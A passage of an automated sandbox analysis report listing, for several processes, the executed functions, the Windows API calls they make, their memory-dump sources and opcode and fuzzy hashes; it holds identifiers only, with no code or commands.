Snapshot File: hcaresult_19_2_d10000_maintenanceservice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction ID: adfa04914670cdd434a225d1710552de40b2667f27f97ca9f460e2a4ab5ce86c
Opcode Fuzzy Hash: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction Fuzzy Hash: 5201C43010DF46EFDB555A24BD143F667A1ABD0324F69019B84C7CA09DDEAC89C0A7B2

Function 00D15B87 Relevance: 1.5, APIs: 1, Instructions: 23
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00D15B90
CreateThread.KERNELBASE ref: 00D15CDF

Memory Dump Source

Source File: 00000013.00000002.1418833358.0000000000D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_d10000_maintenanceservice.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction ID: 430362f4f6dc23adf0083e34db8a3a64cf7dbf1b49a56b9c5cf8517180237c42
Opcode Fuzzy Hash: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction Fuzzy Hash: 60E04F2060DB449FDB599B24B9103593AA5ABC8314F19018AC48AD7199CF7D494547A2

Function 00D1599B Relevance: 1.3, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 00D159D9

Memory Dump Source

Source File: 00000013.00000002.1418833358.0000000000D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_d10000_maintenanceservice.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction ID: dbe6dc8b53a1c8ce73a8baddd9ba02cf02c8450d2af8fd7095abc9a74a299452
Opcode Fuzzy Hash: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction Fuzzy Hash: 8C01A26164DE80FFD6569A1870512F96592FBD9320F2C0596A08ACB09EDD2C99C09F73

Function 00D18090 Relevance: 1.3, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00D18186

Memory Dump Source

Source File: 00000013.00000002.1418833358.0000000000D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_d10000_maintenanceservice.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction ID: b6eaa31116e102f82f926e518120e1014d7e8461ebb034030a7b4b815515f449
Opcode Fuzzy Hash: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction Fuzzy Hash: 01C08CA332CF02B6523883587C0F0F026208303762B0C000AAC4280220DE04CEC330B7

Function 00D1817F Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00D18186

Memory Dump Source

Source File: 00000013.00000002.1418833358.0000000000D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_d10000_maintenanceservice.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction ID: c33d68779d3da6df1532d2a92ec7ae283d24a09c954146e03abe98fb69a1a7c2
Opcode Fuzzy Hash: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction Fuzzy Hash: 9EC092E3658B09B75138A7A9BC0E0F135604713B62F0C4512FC068A360DE588DC371B2

Analysis Process: msdtc.exePID: 6332, Parent PID: 624COMMON

Execution Graph

Execution Coverage:	4.2%
Dynamic/Decrypted Code Coverage:	97.3%
Signature Coverage:	0%
Total number of Nodes:	75
Total number of Limit Nodes:	5

Executed Functions

Function 005552A0 Relevance: 1.6, APIs: 1, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDefaultLangID.KERNELBASE ref: 005553C4

Memory Dump Source

Source File: 00000014.00000002.2615989880.0000000000550000.00000040.00001000.00020000.00000000.sdmp, Offset: 00550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_550000_msdtc.jbxd

Similarity

API ID: DefaultLangSystem
String ID:
API String ID: 706401283-0
Opcode ID: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction ID: a19e88ae820cd11d5020602164a4ea8ddf3b847c10d95e97f0139264fee668ba
Opcode Fuzzy Hash: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction Fuzzy Hash: 4541B66540DE958FDB264A6444743747FA0BB113E3F9A0CE7DC8A8A1E2F1985C8D9326

Function 00570080 Relevance: 5.0, APIs: 3, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameW.KERNEL32 ref: 005703E0

Memory Dump Source

Source File: 00000014.00000002.2615989880.0000000000550000.00000040.00001000.00020000.00000000.sdmp, Offset: 00550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_550000_msdtc.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: a53a589e1d79c8daebd35e0be32d5c07406a5a25e6b1b8ac5d66ad9906a0b4eb
Instruction ID: 3c520f8fee02408287fec705a2d091c54743883fa2fc19a9b9c1a37ce60ab265
Opcode Fuzzy Hash: a53a589e1d79c8daebd35e0be32d5c07406a5a25e6b1b8ac5d66ad9906a0b4eb
Instruction Fuzzy Hash: 6CD11831418B09CBCB24EF58EC497EABBD1FB90310F589A1FD84AC31A5DA74D645D6C2

Function 00558070 Relevance: 4.7, APIs: 3, Instructions: 236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000014.00000002.2615989880.0000000000550000.00000040.00001000.00020000.00000000.sdmp, Offset: 00550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_550000_msdtc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e190fe7d4b3c5e57d75e6528bbdfe52906c1a61a35aefbd00297ac479a6f7d8
Instruction ID: d2b67ccaef53287bce69da2dd3a4e4d1f1d5d243386a0260e9a1d4bf18d2358b
Opcode Fuzzy Hash: 4e190fe7d4b3c5e57d75e6528bbdfe52906c1a61a35aefbd00297ac479a6f7d8
Instruction Fuzzy Hash: 4E61FE3460CE459FC7658B2888382357EA0FB55353F680A5BEC47E31A0DF249C4DD752

Function 00555910 Relevance: 1.9, APIs: 1, Instructions: 607
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000014.00000002.2615989880.0000000000550000.00000040.00001000.00020000.00000000.sdmp, Offset: 00550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_550000_msdtc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction ID: 2dd7c21ffa7714e6844fd14691ff67a7b1982013f85ead3638705f0821c27294
Opcode Fuzzy Hash: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction Fuzzy Hash: 65F1393071CE494FC769A72C686527A7FE2F7D9310F58859BD44EC3296DD289C0AD382

Function 00555B42 Relevance: 1.6, APIs: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000014.00000002.2615989880.0000000000550000.00000040.00001000.00020000.00000000.sdmp, Offset: 00550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_550000_msdtc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction ID: e98fedac3669f3bacdb2b025bf33f7699b98b34fbec8ad24cd2df992d53f9fa8
Opcode Fuzzy Hash: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction Fuzzy Hash: EF21BC3120CF458FCB6A9B18847C7742EE1BB94363F6809A79C47CF1A2FA649D4C9312

Function 00555B09 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000014.00000002.2615989880.0000000000550000.00000040.00001000.00020000.00000000.sdmp, Offset: 00550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_550000_msdtc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction ID: 8f6c29b8ec0e57f47b7e52ac4218af89e0a6a4365c3e6bcff3dd437489af9907
Opcode Fuzzy Hash: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction Fuzzy Hash: BC01923150DF868FDB5656248C393797FA0BB50337F6509AB8C87CA0A1FAA54E0CA712

Function 00555B87 Relevance: 1.5, APIs: 1, Instructions: 23
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00555B90
CreateThread.KERNELBASE ref: 00555CDF

Memory Dump Source

Source File: 00000014.00000002.2615989880.0000000000550000.00000040.00001000.00020000.00000000.sdmp, Offset: 00550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_550000_msdtc.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction ID: cc78e9fc544a56d08db6f684efccd869178b29dcb8a349e34b04668ca805b02a
Opcode Fuzzy Hash: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction Fuzzy Hash: 1BE04F3060DB444FDB5A9B2458343197EA5BB88321F1545CBC84AD7191EB69090A4792

Function 0055599B Relevance: 1.3, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 005559D9

Memory Dump Source

Source File: 00000014.00000002.2615989880.0000000000550000.00000040.00001000.00020000.00000000.sdmp, Offset: 00550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_550000_msdtc.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction ID: 95444e6c9290c8ff350e0c7071b4d8ed4dba8bca50f27d419fa6934e0e3f310f
Opcode Fuzzy Hash: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction Fuzzy Hash: 3F01A2B091DF81CFD656AA1884792796DB1BB94327F6849979C4ACB092F92C4D0CD341

Function 00558090 Relevance: 1.3, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00558186

Memory Dump Source

Source File: 00000014.00000002.2615989880.0000000000550000.00000040.00001000.00020000.00000000.sdmp, Offset: 00550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_550000_msdtc.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction ID: 4f798f558f163d2741895c63f4acba36b27e20878f1513dd5ccd62ed3c39f437
Opcode Fuzzy Hash: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction Fuzzy Hash: 67C04C61529D4696567906481C3F0B42E50B702793B1C48579C16A1220DD559E4BD797

Function 0055817F Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00558186

Memory Dump Source

Source File: 00000014.00000002.2615989880.0000000000550000.00000040.00001000.00020000.00000000.sdmp, Offset: 00550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_550000_msdtc.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction ID: 6cad248b4c347d916ac764968d84c464383347c0c825e8e2f82becda7aceba15
Opcode Fuzzy Hash: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction Fuzzy Hash: CBC092A0958D0987513826882C2E0B13D9077137A3F1C8823EC16BB360DD686D8BC7A2

Analysis Process: PerceptionSimulationService.exePID: 2688, Parent PID: 624COMMON

Execution Graph

Execution Coverage:	3.8%
Dynamic/Decrypted Code Coverage:	97.9%
Signature Coverage:	0%
Total number of Nodes:	94
Total number of Limit Nodes:	10

Executed Functions

Function 00B152A0 Relevance: 1.6, APIs: 1, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDefaultLangID.KERNELBASE ref: 00B153C4

Memory Dump Source

Source File: 00000015.00000002.2624393008.0000000000B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_PerceptionSimulationService.jbxd

Similarity

API ID: DefaultLangSystem
String ID:
API String ID: 706401283-0
Opcode ID: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction ID: 567ab531e36b06aaf6cef039aa4213df7661d0fa140291a587d6d1c06bfb28b7
Opcode Fuzzy Hash: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction Fuzzy Hash: 0241B46241DE95CFD73A422468A42F07BE0DB923A2FDD04E7D4E3C71E6D1A85CC1936A

Function 00B30080 Relevance: 5.0, APIs: 3, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameW.KERNEL32 ref: 00B303E0

Memory Dump Source

Source File: 00000015.00000002.2624393008.0000000000B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_PerceptionSimulationService.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: f2c426ce008c29bb37f5d3562478f99eada15862b80321597c233d777d3b9804
Instruction ID: a482213db9b2e0bc4c833df859b9567399ecd68b110d06e34e977a844067b0ba
Opcode Fuzzy Hash: f2c426ce008c29bb37f5d3562478f99eada15862b80321597c233d777d3b9804
Instruction Fuzzy Hash: 11D10531428F0D8BC728FF58D8957EAB7E1FFA0310F28469EE846C3264DA74964587C2

Function 00B18070 Relevance: 4.7, APIs: 3, Instructions: 236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000015.00000002.2624393008.0000000000B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_PerceptionSimulationService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfa7abbba837048b5084d14a6e3f10e10a947a6e49ec2fa660cf16e8a7df21b7
Instruction ID: 6d3d69c43a76cbb79b0be27f1c16ccdbfc1cc12a734981460f18c74c0f171446
Opcode Fuzzy Hash: bfa7abbba837048b5084d14a6e3f10e10a947a6e49ec2fa660cf16e8a7df21b7
Instruction Fuzzy Hash: FD61473250CA49AFC7668B2898987F57BE1FB5D350FE802DAE446D31A0DF344CD58392

Function 00B15910 Relevance: 1.9, APIs: 1, Instructions: 607
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000015.00000002.2624393008.0000000000B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_PerceptionSimulationService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction ID: c86623dd15e431b7f1518f9efa52e135d17aa7f9559817b9a01ef62bbd585fbb
Opcode Fuzzy Hash: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction Fuzzy Hash: 24F10A3171CE58CFC769A71C68816BA77D2EBD9310FA846DED04EC3297DD249C468382

Function 00B15B42 Relevance: 1.6, APIs: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000015.00000002.2624393008.0000000000B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_PerceptionSimulationService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction ID: 3e14b0f22196b1c74b942db9a03c67b504654d692119eaac2bd060765f9568b5
Opcode Fuzzy Hash: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction Fuzzy Hash: 5721AE3020CF45CFCB799F189898BF56AE1EBD5310FE801E68447CF2A6CA249CC49396

Function 00B15B09 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000015.00000002.2624393008.0000000000B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_PerceptionSimulationService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction ID: 91632e0bc15f6996493c619df13a944c8d28e62f1678bc17592af865e9825ece
Opcode Fuzzy Hash: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction Fuzzy Hash: E601C07010DF46CFDB755E24AC987FA6BE0EBD1324FE501EB8487CA091DAA449C0A792

Function 00B15B87 Relevance: 1.5, APIs: 1, Instructions: 23
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00B15B90
CreateThread.KERNELBASE ref: 00B15CDF

Memory Dump Source

Source File: 00000015.00000002.2624393008.0000000000B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_PerceptionSimulationService.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction ID: f115bc26a86017fb9e6d2ccb11b381b34155a7f297735a8a4c9f93dd644d4aea
Opcode Fuzzy Hash: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction Fuzzy Hash: 64E08C3060DB48CFDB6A9F249D6036A3AE5EBC8314F5902CFC48ADB1D1DF690D468792

Function 00B1599B Relevance: 1.3, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 00B159D9

Memory Dump Source

Source File: 00000015.00000002.2624393008.0000000000B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_PerceptionSimulationService.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction ID: 9120ffe34ceebeda7ebf540127ecca9a0b95ce4dbac5763fe0392e67e7a47e6c
Opcode Fuzzy Hash: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction Fuzzy Hash: D301D67056DE84CFD6769B1854912F966D2FBD43A0FE805D6908ACB092C9244EC0A743

Function 00B18090 Relevance: 1.3, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00B18186

Memory Dump Source

Source File: 00000015.00000002.2624393008.0000000000B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_PerceptionSimulationService.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction ID: f60023cfbd6d191ad8989aa80b9ead36d733b0a0263fdaf05cf80be0934b25d3
Opcode Fuzzy Hash: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction Fuzzy Hash: 0CC08C63228902F6523A02582C4F0F026C0F30F7A0BEC00CAEC06B0220ED248EF300A7

Function 00B1817F Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00B18186

Memory Dump Source

Source File: 00000015.00000002.2624393008.0000000000B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_PerceptionSimulationService.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction ID: 021b111d36429bed50892296e30bf6594da9118aaf425d03ef74051aecf669e8
Opcode Fuzzy Hash: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction Fuzzy Hash: D2C04C62554505B6513626996C0A4E125D0A71B760B9C4492FC1676260E9544DE241A2

Analysis Process: YRtQgzFlDnVSru.exePID: 2648, Parent PID: 932COMMON

Execution Graph

Execution Coverage:	11.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	279
Total number of Limit Nodes:	13

Executed Functions

Function 069309F8 Relevance: .6, Instructions: 626COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1617472167.0000000006930000.00000040.00000800.00020000.00000000.sdmp, Offset: 06930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_6930000_YRtQgzFlDnVSru.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41a847a6191c1bf4d8347c7bdb3452efbc4f34ba799e34f254653905cef1afd1
Instruction ID: ba090dedf97e4ab4b076d53291a9698cab0c67bf2c3b409dd4e0700848e42521
Opcode Fuzzy Hash: 41a847a6191c1bf4d8347c7bdb3452efbc4f34ba799e34f254653905cef1afd1
Instruction Fuzzy Hash: 7332AC70B013188FDB68DBA9D450BAEB7FAAF89300F244469E146DB7A1CB35ED41CB51

Function 08E3CACC Relevance: 1.7, APIs: 1, Instructions: 248
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 08E3CD0E

Memory Dump Source

Source File: 00000016.00000002.1623364226.0000000008E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_8e30000_YRtQgzFlDnVSru.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 688d4c5dbfe4218effc8c4b6cfa1637b8883c82768f947547abc79e39e802054
Instruction ID: f8a8456449e01ad3e295183260a3ca5d4f320ba27b5c483b471f492386d3606e
Opcode Fuzzy Hash: 688d4c5dbfe4218effc8c4b6cfa1637b8883c82768f947547abc79e39e802054
Instruction Fuzzy Hash: A9A17B72D003299FEB24CF68C845BEDBBB2BF48315F148569E848B7240DB749985CF91

Function 08E3CAD8 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 08E3CD0E

Memory Dump Source

Source File: 00000016.00000002.1623364226.0000000008E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_8e30000_YRtQgzFlDnVSru.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 1206225ca84d6ea1310b08e235ccbc1db8c6b1482d7a9af6ab6ec42c5124fa04
Instruction ID: 2949ef67c2e3f78c8a41cb3a35b1c9e84d63fdeaa40c745120dcee07f5d7fe9d
Opcode Fuzzy Hash: 1206225ca84d6ea1310b08e235ccbc1db8c6b1482d7a9af6ab6ec42c5124fa04
Instruction Fuzzy Hash: 41915B72D003299FEB24CF68C845BEDBBB2BF48315F148569E808B7240DB759985CF91

Function 00868FE4 Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 008690A1

Memory Dump Source

Source File: 00000016.00000002.1546244244.0000000000860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_860000_YRtQgzFlDnVSru.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: f3a29416aca01eaf03ac8fc30fc216a6c19166c2ffc4048cd36853457b49adfa
Instruction ID: f0932b73c43472f370e0cd755c429d4f56da058c7fd368ac0142d9572a1c2543
Opcode Fuzzy Hash: f3a29416aca01eaf03ac8fc30fc216a6c19166c2ffc4048cd36853457b49adfa
Instruction Fuzzy Hash: 6F41E1B0C00719CBEB24DFA9C844BDDBBB5FF49314F20816AD448AB291DB75594ACF50

Function 00867BAC Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 008690A1

Memory Dump Source

Source File: 00000016.00000002.1546244244.0000000000860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_860000_YRtQgzFlDnVSru.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 1c69df7f44561fc33c72373fa6ebec681b607ec2479165098a571f8158c87bd0
Instruction ID: 4a9bc8482eb40f78f7d9624839da07af03246eac9cddfb876c1ff18d6c149362
Opcode Fuzzy Hash: 1c69df7f44561fc33c72373fa6ebec681b607ec2479165098a571f8158c87bd0
Instruction Fuzzy Hash: 2E41C070C00729CBEB24DFA9C84479EBBB5FF49304F20816AD408AB291DB75694ACF90

Function 08D4AA30 Relevance: 1.6, APIs: 1, Instructions: 74
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,08D4AA1D,?,?), ref: 08D4AACF

Memory Dump Source

Source File: 00000016.00000002.1622756840.0000000008D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 08D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_8d40000_YRtQgzFlDnVSru.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 91578c44dd4f86ce202f0e30e715bfb65eeaeb4d87c392218fe8dbd57a0c4f4c
Instruction ID: 7233c4e3f2ca7544bed23400f8d26edb021eca7ce590212f570bf2d1ecec43bf
Opcode Fuzzy Hash: 91578c44dd4f86ce202f0e30e715bfb65eeaeb4d87c392218fe8dbd57a0c4f4c
Instruction Fuzzy Hash: 8531DFB5D002099FDB10CF9AD885AEEBBF5EB48360F14842AE918A7210D775A945CFA0

Function 08D49A34 Relevance: 1.6, APIs: 1, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,08D4AA1D,?,?), ref: 08D4AACF

Memory Dump Source

Source File: 00000016.00000002.1622756840.0000000008D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 08D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_8d40000_YRtQgzFlDnVSru.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 7509491a525955e8aa384c7ebf23a640547f3c497973d9051573f8bf19670494
Instruction ID: 9a620a112d186436c101ba3c44824092944e2f9d200936d101b3c2ccf44dea1f
